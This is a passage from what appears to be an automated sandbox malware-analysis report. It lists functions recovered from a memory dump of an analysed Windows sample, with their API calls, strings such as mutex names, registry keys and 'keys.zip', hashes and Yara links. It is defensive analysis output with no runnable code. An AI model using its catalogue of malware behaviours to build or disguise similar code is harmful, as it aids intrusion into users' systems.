                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Valuememset$CloseDeleteFlushOpen
                                                                                                                                                                                                                      • String ID: d900d91da$software\microsoft
                                                                                                                                                                                                                      • API String ID: 3377232977-149954059
                                                                                                                                                                                                                      • Opcode ID: 4557461542bb390bae67f09544fa41bed40534a359b70d000c976a9f693fbacc
                                                                                                                                                                                                                      • Instruction ID: acce9bb8eb511d9be24d6b1288e4c02659aca0db8734ab9ed79d43be7e9be628
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4557461542bb390bae67f09544fa41bed40534a359b70d000c976a9f693fbacc
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6031E571A40258ABDB25DB74CD88FEEB7B9EF18704F4085ADE685D7140E2718E848FD0
                                                                                                                                                                                                                      Function 027048F0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 103registrystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • strstr.MSVCRT(-0000000B,027356DC,-0000000B), ref: 02704902
                                                                                                                                                                                                                      • #680.SHELL32(759B9E60), ref: 0270491A
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 02704941
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,-0000000B,00000104), ref: 0270496F
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(-0A6461A1,software\microsoft,00000000,00000102,00000000), ref: 027049CE
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(00000000,00000000,00000000,00000001,00000000,00000001), ref: 027049FE
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(00000000), ref: 02704A0C
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 02704A1A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: #680CloseFlushOpenValuelstrcpynmemsetstrstr
                                                                                                                                                                                                                      • String ID: software\microsoft
                                                                                                                                                                                                                      • API String ID: 1680110384-3673152959
                                                                                                                                                                                                                      • Opcode ID: d212509f6a186aef310e487da6fb1eab177929c1db12131f02127b5eb90d6e05
                                                                                                                                                                                                                      • Instruction ID: d964ccc93d8db1603b23836430c16f3b9f473fd95087db3502e52e9e3be5938c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d212509f6a186aef310e487da6fb1eab177929c1db12131f02127b5eb90d6e05
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D4312B71E0021DDFDB22CB28DD99FEA7BF8BF49705F0445A4EA45A7180D7B09A48CB94
                                                                                                                                                                                                                      Function 026F3910 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 86COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SymGetModuleBase.DBGHELP(00000000,?,?,00000004), ref: 026F3969
                                                                                                                                                                                                                      • SymGetModuleInfo.DBGHELP(00000000,00000000,0000023C), ref: 026F397C
                                                                                                                                                                                                                      • SymGetSymFromAddr.DBGHELP(00000000,?,?,00000018), ref: 026F3993
                                                                                                                                                                                                                      • _snprintf.MSVCRT(00000000,00001000,%s!%s + 0x%04x,?,?,?), ref: 026F39BD
                                                                                                                                                                                                                      • _snprintf.MSVCRT(00000000,00001000,%s!0x%08x,?,?), ref: 026F39E1
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Module_snprintf$AddrBaseFromInfo
                                                                                                                                                                                                                      • String ID: %s!%s + 0x%04x$%s!0x%08x$unknown!0x%08x
                                                                                                                                                                                                                      • API String ID: 844136142-2194319270
                                                                                                                                                                                                                      • Opcode ID: 2d6b43eeb1c9e76009b23294df53bd7e2a55c1d08942a72e8efe0a48907ccc17
                                                                                                                                                                                                                      • Instruction ID: be4e7321257518b7ded2f1ed1fabc30c90b5d07cd5f0aaf7441576a0fbb4a211
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2d6b43eeb1c9e76009b23294df53bd7e2a55c1d08942a72e8efe0a48907ccc17
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC2107735402586BEB118E09DC84FFA77ACEB48706F44C195FD0997201E7709768CBA0
                                                                                                                                                                                                                      Function 02712800 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192), ref: 02712827
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 02712867
                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?), ref: 02712871
                                                                                                                                                                                                                      • #680.SHELL32(?,?), ref: 02712879
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0271288A
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000,?,?), ref: 02712891
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?,?,?), ref: 0271289E
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: DirectoryErrorLastPath$#680BackslashCreateCurrentFolderMakeSystem
                                                                                                                                                                                                                      • String ID: 26EE2192$keys.zip
                                                                                                                                                                                                                      • API String ID: 1406010380-2310725964
                                                                                                                                                                                                                      • Opcode ID: 660f5e754e5f43313db421973907dc4078903c94ef24703b35fef941df6a3731
                                                                                                                                                                                                                      • Instruction ID: 90bddf010d9d53b1992dc51bc6a79a94736aa4ffc3c71de64114d8d724f3aa5b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 660f5e754e5f43313db421973907dc4078903c94ef24703b35fef941df6a3731
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 73210775A003698FDB118B3C9858BEB7BE8EF5A302F14C9A4ED85C7201EB70D955CB90
                                                                                                                                                                                                                      Function 0270A060 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • #680.SHELL32(00000000,00000000,?,?,?,0270A227), ref: 0270A068
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,0270A227), ref: 0270A09F
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(0270A227,d900da3ca,00000000,?,00000000,?), ref: 0270A0BC
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(0270A227), ref: 0270A0C6
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 0270A0F9
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,d900da3ca,00000000,?,00000000,?), ref: 0270A116
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 0270A120
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseOpenQueryValue$#680
                                                                                                                                                                                                                      • String ID: d900da3ca$software\microsoft
                                                                                                                                                                                                                      • API String ID: 1151197818-1262914953
                                                                                                                                                                                                                      • Opcode ID: 5d962a23472e4e77f43165046064600b680200f575f2307ffe143dec45903519
                                                                                                                                                                                                                      • Instruction ID: 4489d844835f613ff44d085ce6f9b4ff97a82047a7ad60e185d9aebc70db7073
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5d962a23472e4e77f43165046064600b680200f575f2307ffe143dec45903519
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E82150B5E40219FBEB10DBA4CD85FEEBBB8EF48705F508549E601E6180E7B5A6148B90
                                                                                                                                                                                                                      Function 027132C8 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 027132DC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027132E5
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 027132F9
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0271330B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192), ref: 02713316
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26EE2192,RFK), ref: 02713330
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 02713336
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                                      • String ID: 26EE2192$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$RFK
                                                                                                                                                                                                                      • API String ID: 4280258085-90170663
                                                                                                                                                                                                                      • Opcode ID: 2eb6cad634b583b3c318407b72a78718ff2341b06a188afbcc3a3b04b7537b81
                                                                                                                                                                                                                      • Instruction ID: d509c690933a3c4a7255846e44e5d4130332327ff864c210d3707983179abf25
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2eb6cad634b583b3c318407b72a78718ff2341b06a188afbcc3a3b04b7537b81
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A9F037B1A863116AF72267645C0FB9F7BD86F49B0AF408458F945A1181CFB484158BA6
                                                                                                                                                                                                                      Function 0270B908 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 0270B91C
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270B925
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270B939
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270B94B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2538), ref: 0270B956
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26ee2538,ALPHA), ref: 0270B970
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0270B976
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                                      • String ID: 26ee2538$ALPHA$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}
                                                                                                                                                                                                                      • API String ID: 4280258085-1812047668
                                                                                                                                                                                                                      • Opcode ID: f14ed05a0967914b57430106a08a7cc0b2fbeb4526c2c7b718d3e6715fbffeeb
                                                                                                                                                                                                                      • Instruction ID: 8064985b8425ce29e57a2d04cf803416cf1e00c03331ca1cb08ea572c3441f1c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f14ed05a0967914b57430106a08a7cc0b2fbeb4526c2c7b718d3e6715fbffeeb
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 84F0AE70ED9311EBF7225B604C4AB5E7BD4AF0DB0DF018404F645A12C1C7F085048B52
                                                                                                                                                                                                                      Function 0270FE98 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 0270FEAC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270FEB5
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270FEC9
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270FEDB
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2482), ref: 0270FEE6
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26ee2482,HANDY), ref: 0270FF00
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0270FF06
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                                      • String ID: 26ee2482$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}
                                                                                                                                                                                                                      • API String ID: 4280258085-786606594
                                                                                                                                                                                                                      • Opcode ID: 7bf7423078de202ab3972dc2b0a5a03d174a37bac5c96b8151c01f88202c4a06
                                                                                                                                                                                                                      • Instruction ID: ff45b5702f3d7d76ecab6c6be38e460355d8d6d0c3b5f340dad745a353fbbb30
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7bf7423078de202ab3972dc2b0a5a03d174a37bac5c96b8151c01f88202c4a06
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E8F01270AC6316ABE73297605C4BF5E7BD4AF09B1AF408504F999A1181CFB494188BA7
                                                                                                                                                                                                                      Function 02719160 Relevance: 15.4, APIs: 8, Strings: 2, Instructions: 394COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID: /$UT
                                                                                                                                                                                                                      • API String ID: 0-1626504983
                                                                                                                                                                                                                      • Opcode ID: 3afe0a9315a3e95791dd6d78ee759596b75c5be07d92585b8976a1c087fe18cd
                                                                                                                                                                                                                      • Instruction ID: e6c2724f3b8e0dccfbed16b0e57267de3327f5910bba8ed36e06097e518bc4ed
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3afe0a9315a3e95791dd6d78ee759596b75c5be07d92585b8976a1c087fe18cd
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 65F1C071A00258CBDF26CF69C8947EABBB5FF84304F0485DAED08AB245D7719A85CF61
                                                                                                                                                                                                                      Function 026FFBF0 Relevance: 15.3, APIs: 7, Strings: 3, Instructions: 271COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,00000000), ref: 026FFCCA
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,?,?,?,00001100,?,?,?,?,?,?,?,?,?), ref: 026FFD7A
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,0000000D,%x,?), ref: 026FFD96
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,?), ref: 026FFDA5
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,?,?,?,Content-Length,?), ref: 026FFDFC
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?), ref: 026FFE1D
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,?), ref: 026FFE9F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memcpy$_snprintf
                                                                                                                                                                                                                      • String ID: 0$%x$Content-Length
                                                                                                                                                                                                                      • API String ID: 4125937431-3838797520
                                                                                                                                                                                                                      • Opcode ID: 2896125f5c08ec99bfa5a970f392e693a58ed5e891e5866c0664d6c44364ff0e
                                                                                                                                                                                                                      • Instruction ID: b9fd84192e683f19411d5fcd2a5a3f03e1dc9fc20d1ccb6c79aa0425c81e6c56
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2896125f5c08ec99bfa5a970f392e693a58ed5e891e5866c0664d6c44364ff0e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6D9177B2A00705AFC754DF68D88495BB7A9FF88314B048B1DFA5987B81E770E814CBE5
                                                                                                                                                                                                                      Function 027092D0 Relevance: 15.1, APIs: 10, Instructions: 144memorynetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 027092D9
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 0270930C
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 02709338
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 0270935F
                                                                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,?), ref: 02709392
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 027093AC
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 027093B3
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 027093C3
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 027093CE
                                                                                                                                                                                                                      • WSASetLastError.WS2_32(?), ref: 02709414
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorHeapLast$AllocProcessReadmemcpymemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1455188016-0
                                                                                                                                                                                                                      • Opcode ID: 92f9c922233a1f645d86d92ca0d8e4b356f3e235f0a22c1c544e0ba1b71341f0
                                                                                                                                                                                                                      • Instruction ID: 32a5b3d0467e4b71f61f6bc18a8632ff2ddb035a92698374c868bd1118743efa
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 92f9c922233a1f645d86d92ca0d8e4b356f3e235f0a22c1c544e0ba1b71341f0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 51513BB1D00218EFDB50DFA8D884AAFBBF9EF48704F508529F905E7241E734A9018FA4
                                                                                                                                                                                                                      Function 026FB820 Relevance: 15.1, APIs: 10, Instructions: 81synchronizationwindowthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FB843
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026FB870
                                                                                                                                                                                                                      • IsWindow.USER32(?), ref: 026FB877
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 026FB889
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 026FB898
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,00000000), ref: 026FB8A2
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FB8B4
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026FB8E1
                                                                                                                                                                                                                      • IsWindow.USER32(?), ref: 026FB8E8
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000215,00000000,?), ref: 026FB8FB
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$MessageMutexObjectReleaseSendSingleThreadWait$CurrentProcess
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2596333622-0
                                                                                                                                                                                                                      • Opcode ID: 386129deb639aa7e4012be17e933b36ebb603a0e5037a3a8058d7c3e4e46ba66
                                                                                                                                                                                                                      • Instruction ID: 5659f7f7fb8b2d413732d71b240bc652356b78464a38073223199785a9e1283e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 386129deb639aa7e4012be17e933b36ebb603a0e5037a3a8058d7c3e4e46ba66
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A321A172A811149BC7148B65E80CEEABBE8EF8D777B44C976F605D7290C7704461CBA0
                                                                                                                                                                                                                      Function 02714278 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 121synchronizationsleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C), ref: 02714297
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C,?,?), ref: 02714329
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214},?,?), ref: 027143B5
                                                                                                                                                                                                                        • Part of subcall function 027159D0: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 027159EE
                                                                                                                                                                                                                        • Part of subcall function 027159D0: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000001,026F5DE8,?,?,026F5DE8,?,00000001), ref: 02715A0B
                                                                                                                                                                                                                        • Part of subcall function 027159D0: SetNamedSecurityInfoA.ADVAPI32(?,026F5DE8,00000010,00000000,00000000,00000000,00000001), ref: 02715A26
                                                                                                                                                                                                                        • Part of subcall function 027159D0: LocalFree.KERNEL32(?,?,?,026F5DE8,?,00000001), ref: 02715A37
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214},00000006), ref: 027143D2
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027143D9
                                                                                                                                                                                                                        • Part of subcall function 026F7310: GetHandleInformation.KERNEL32(?,00000000), ref: 026F7324
